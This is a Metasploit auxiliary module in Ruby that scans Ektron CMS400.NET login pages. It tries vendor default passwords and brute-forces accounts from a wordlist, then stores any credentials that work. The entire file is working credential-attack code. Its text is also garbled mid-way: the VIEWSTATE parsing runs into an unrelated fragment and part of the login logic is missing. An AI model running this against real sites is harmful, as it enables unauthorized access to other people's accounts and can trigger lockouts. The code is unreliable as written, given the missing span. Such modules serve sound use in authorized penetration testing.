## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info={}) super(update_info(info, 'Name' => 'Ektron CMS400.NET Default Password Scanner', 'Description' => %q{ Ektron CMS400.NET is a web content management system based on .NET. This module tests for installations that are utilizing default passwords set by the vendor. Additionally, it has the ability to brute force user accounts. Note that Ektron CMS400.NET, by default, enforces account lockouts for regular user account after a number of failed attempts. }, 'License' => MSF_LICENSE, 'Author' => ['Justin Cacak'] )) register_options( [ OptString.new('URI', [true, "Path to the CMS400.NET login page", '/WorkArea/login.aspx']), OptPath.new( 'USERPASS_FILE', [ false, "File containing users and passwords", File.join(Msf::Config.data_directory, "wordlists", "cms400net_default_userpass.txt") ]) ], self.class) # Set to false to prevent account lockouts - it will! deregister_options('BLANK_PASSWORDS') end def target_url # Function to display correct protocol and host/vhost info if rport == 443 or ssl proto = "https" else proto = "http" end uri = normalize_uri(datastore['URI']) if vhost != "" "#{proto}://#{vhost}:#{rport}#{uri.to_s}" else "#{proto}://#{rhost}:#{rport}#{uri.to_s}" end end def gen_blank_passwords(users, credentials) return credentials end def run_host(ip) begin res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(datastore['URI']) }, 20) if res.nil? print_error("Connection timed out") return end # Check for HTTP 200 response. # Numerous versions and configs make if difficult to further fingerprint. if (res and res.code == 200) print_status("Ektron CMS400.NET install found at #{target_url} [HTTP 200]") #Gather __VIEWSTATE and __EVENTVALIDATION from HTTP response. #Required to be sent based on some versions/configs. begin viewstate = res.body.scan(/ 'GET', 'uri' => payload }, 20) if (res.body.match(/Version.:.(\d{1,3}.\d{1,3})/)) print_status "Ektron CMS400.NET version: #{$1}" end end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation) vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'") post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}" post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}" post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}" post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}" begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['URI']), 'data' => post_data, }, 20) if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil) print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'") report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body) elsif(res and res.code == 200) vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'") else print_error("#{target_url} [Error] Unable to authenticate. Check parameters. [HTTP #{res.code}]") return :abort end rescue ::Rex::ConnectionError => e vprint_error("http://#{tartget_url} - #{e.to_s}") return :abort end end end